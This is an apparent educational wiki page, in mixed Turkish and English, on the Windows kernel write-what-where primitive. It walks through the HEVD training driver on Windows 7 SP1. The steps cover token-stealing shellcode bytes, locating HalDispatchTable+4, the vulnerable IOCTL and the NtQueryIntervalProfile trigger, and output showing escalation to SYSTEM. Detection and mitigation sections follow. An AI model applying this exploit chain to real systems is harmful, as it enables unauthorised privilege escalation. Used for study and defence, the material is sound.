Skip to content

Arbitrary overwrite (write-what-where) primitive intro

Bir write-what-where primitive'i, attacker'ın seçtiği bir değeri attacker'ın seçtiği bir kernel adresine yazmasına olanak tanır; klasik Windows escalation path'i HalDispatchTable+0x4'ü overwrite eder ve sonra NtQueryIntervalProfile üzerinden execution'ı tetikler.

Mechanism

Note

Bir write-what-where (WWW) primitive'i, bir kernel driver'ı tamamen userland'den verilen iki pointer'ı kullanarak *(Where) = *(What) yaptığında, adreslerin user address range'inde olduğunu zorlamak için ProbeForRead / ProbeForWrite çağırmadan, ortaya çıkar. Operasyon kernel context'inde çalıştığından Where kernel virtual memory'sinde herhangi bir yere işaret edebilir ve yazılan değer *(What)'tir — o da kernel context'inde dereference edilir.

Klasik Windows exploitation target'ı nt!HalDispatchTable+0x4'tür; HaliQuerySystemInformation'a olan pointer'ı tutan global, non-paged bir kernel yapısıdır. NtQueryIntervalProfile routine'i (dokümante edilmemiş bir syscall) KeQueryIntervalProfile'ı çağırır, o da HalDispatchTable+0x4'te saklanan function pointer'ı çağırır — bu da attacker'a eski build'lerde bir SMEP/KPTI bypass'ına ihtiyaç duymadan kernel execution'ını yeniden yönlendirmenin temiz bir yolunu verir: shellcode PAGE_EXECUTE_READWRITE user memory'sine konur ve pointer ona işaret edecek şekilde overwrite edilir.

Modern mitigation'lar (SMEP, SMAP, KVA Shadow / KPTI, HVCI), bu klasik form ortaya çıktığından beri (Windows XP – 7 dönemi) çıtayı yükseltti, ama kavramsal primitive temel olmaya devam ediyor; günümüz exploit'leri aynı hedefe kernel data-only path'leri (örn. token swap'leri) üzerinden ya da HVCI-korumalı aralıkların dışındaki writable kernel code'unu hedefleyerek ulaşır.

Walkthrough

Aşağıdakiler, herkese açık dokümante edilmiş HEVD (HackSysExtremeVulnerableDriver) egzersizine ve Windows 7 SP1 x86'yı hedefleyen FuzzySecurity / connormcgarr tutorial'larına dayanır.

Step 1 — Userland'de token-stealing shellcode allocate et

LPVOID shellcode = VirtualAlloc(NULL, 4096,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);
// Token-steal payload (x86, Windows 7 SP1 offsets)
unsigned char payload[] = {
    0x60,                           // pushad
    0x31, 0xc0,                     // xor eax, eax
    0x64, 0x8b, 0x80, 0x24,0x01,0x00,0x00, // mov eax,[fs:0x124] ; KPCR->KTHREAD
    0x8b, 0x40, 0x50,               // mov eax,[eax+0x50]  ; EPROCESS
    0x89, 0xc1,                     // mov ecx, eax        ; save current EPROCESS
    0xba, 0x04, 0x00, 0x00, 0x00,   // mov edx, 4          ; SYSTEM PID
    // walk ActiveProcessLinks until PID == 4
    0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov eax,[eax+0xb8]  ; Flink
    0x2d, 0xb8, 0x00, 0x00, 0x00,   // sub eax, 0xb8
    0x3b, 0x90, 0xb4, 0x00, 0x00, 0x00, // cmp [eax+0xb4],edx
    0x75, 0xea,                     // jnz loop
    // copy SYSTEM token to current process
    0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, // mov edx,[eax+0xf8] ; Token
    0x89, 0x91, 0xf8, 0x00, 0x00, 0x00, // mov [ecx+0xf8],edx
    0x61,                           // popad
    0x31, 0xc0,                     // xor eax,eax
    0x83, 0xc4, 0x24,               // add esp, 0x24
    0x5d,                           // pop ebp
    0xc2, 0x08, 0x00                // ret 8
};
memcpy(shellcode, payload, sizeof(payload));

Step 2 — Kernel space'te HalDispatchTable+0x4'ü çöz

// 1. Enumerate kernel modules via NtQuerySystemInformation(SystemModuleInformation)
DWORD needed = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &needed);
PRTL_PROCESS_MODULES mods = (PRTL_PROCESS_MODULES)malloc(needed);
NtQuerySystemInformation(SystemModuleInformation, mods, needed, NULL);

// 2. ntoskrnl is always the first entry
PVOID kernBase = mods->Modules[0].ImageBase;
char *kernPath  = (char*)mods->Modules[0].FullPathName
                  + mods->Modules[0].OffsetToFileName;

// 3. Load a userland copy to look up the export
HMODULE hKern = LoadLibraryExA(kernPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
ULONG_PTR halDT_user  = (ULONG_PTR)GetProcAddress(hKern, "HalDispatchTable");
ULONG_PTR halDT_kern  = halDT_user - (ULONG_PTR)hKern + (ULONG_PTR)kernBase;
ULONG_PTR target      = halDT_kern + 0x4;   // HalDispatchTable+4

Step 3 — write-what-where IOCTL'i gönder

Vulnerable HEVD IOCTL'i (0x0022200B), iki PVOID*'dan oluşan bir yapı alır:

typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;   // pointer to shellcode pointer
    PULONG_PTR Where;  // HalDispatchTable+4 in kernel space
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

WRITE_WHAT_WHERE www;
www.What  = (PULONG_PTR)&shellcode;   // &(user ptr to shellcode)
www.Where = (PULONG_PTR)target;       // HalDispatchTable+4

DeviceIoControl(hDevice, 0x0022200B, &www, sizeof(www), NULL, 0, &ret, NULL);

Driver şunu çalıştırır: *(www.Where) = *(www.What) — shellcode adresini HaliQuerySystemInformation'ın üzerine yazar.

Step 4 — NtQueryIntervalProfile üzerinden tetikle

ULONG interval = 0;
NtQueryIntervalProfile(0xabcd, &interval);
// Internally: KeQueryIntervalProfile -> [HalDispatchTable+4]() -> shellcode
// Shellcode elevates token, returns cleanly.

Beklenen çıktı

C:\> whoami
low-priv-user
C:\> exploit.exe
[*] ntoskrnl base : 0x82800000
[*] HalDispatchTable+4 : 0x82a1c9c4
[*] Shellcode at : 0x001a0000
[*] IOCTL sent, overwrite complete
[*] Calling NtQueryIntervalProfile...
[*] Done. Spawning shell.
C:\> whoami
NT AUTHORITY\SYSTEM

Detection

  • Kernel ETW / WFP: non-admin bir kullanıcıdan gelen NtQuerySystemInformation(SystemModuleInformation)'ı hemen ardından şüpheli bir driver'a DeviceIoControl ve sonra NtQueryIntervalProfile takip eder.
  • Driver signature enforcement (DSE) / HVCI, vulnerable unsigned driver'ların yüklenmesini engeller.
  • PatchGuard belirli kernel yapılarını izler, ama HalDispatchTable kapsamı Windows sürümüne göre değişir.

Mitigation

  • SMEP (Supervisor Mode Execution Prevention): kernel'in overwrite edilen pointer'daki userland shellcode'u çalıştırmasını engeller; attacker'ın bunun yerine kernel ROP ya da kernel-mode shellcode kullanmasını gerektirir.
  • HVCI (Hypervisor-Protected Code Integrity): kernel code page'lerinin değişmez olmasını zorlar; kernel memory'sindeki shellcode infeasible hale gelir.
  • Windows 10+ KVA Shadow / KPTI: user/kernel page table'larını ayırır; user shellcode adresleri kernel execution sırasında map'li değildir.
  • Kernel CFG (Control Flow Guard): geçerli indirect call target'larını sınırlar ve function-pointer hijack'lerini kısıtlar.
  • Driver hardening: herhangi bir kernel dereference'ından önce userland'den verilen tüm pointer'larda ProbeForRead / ProbeForWrite kullan.

References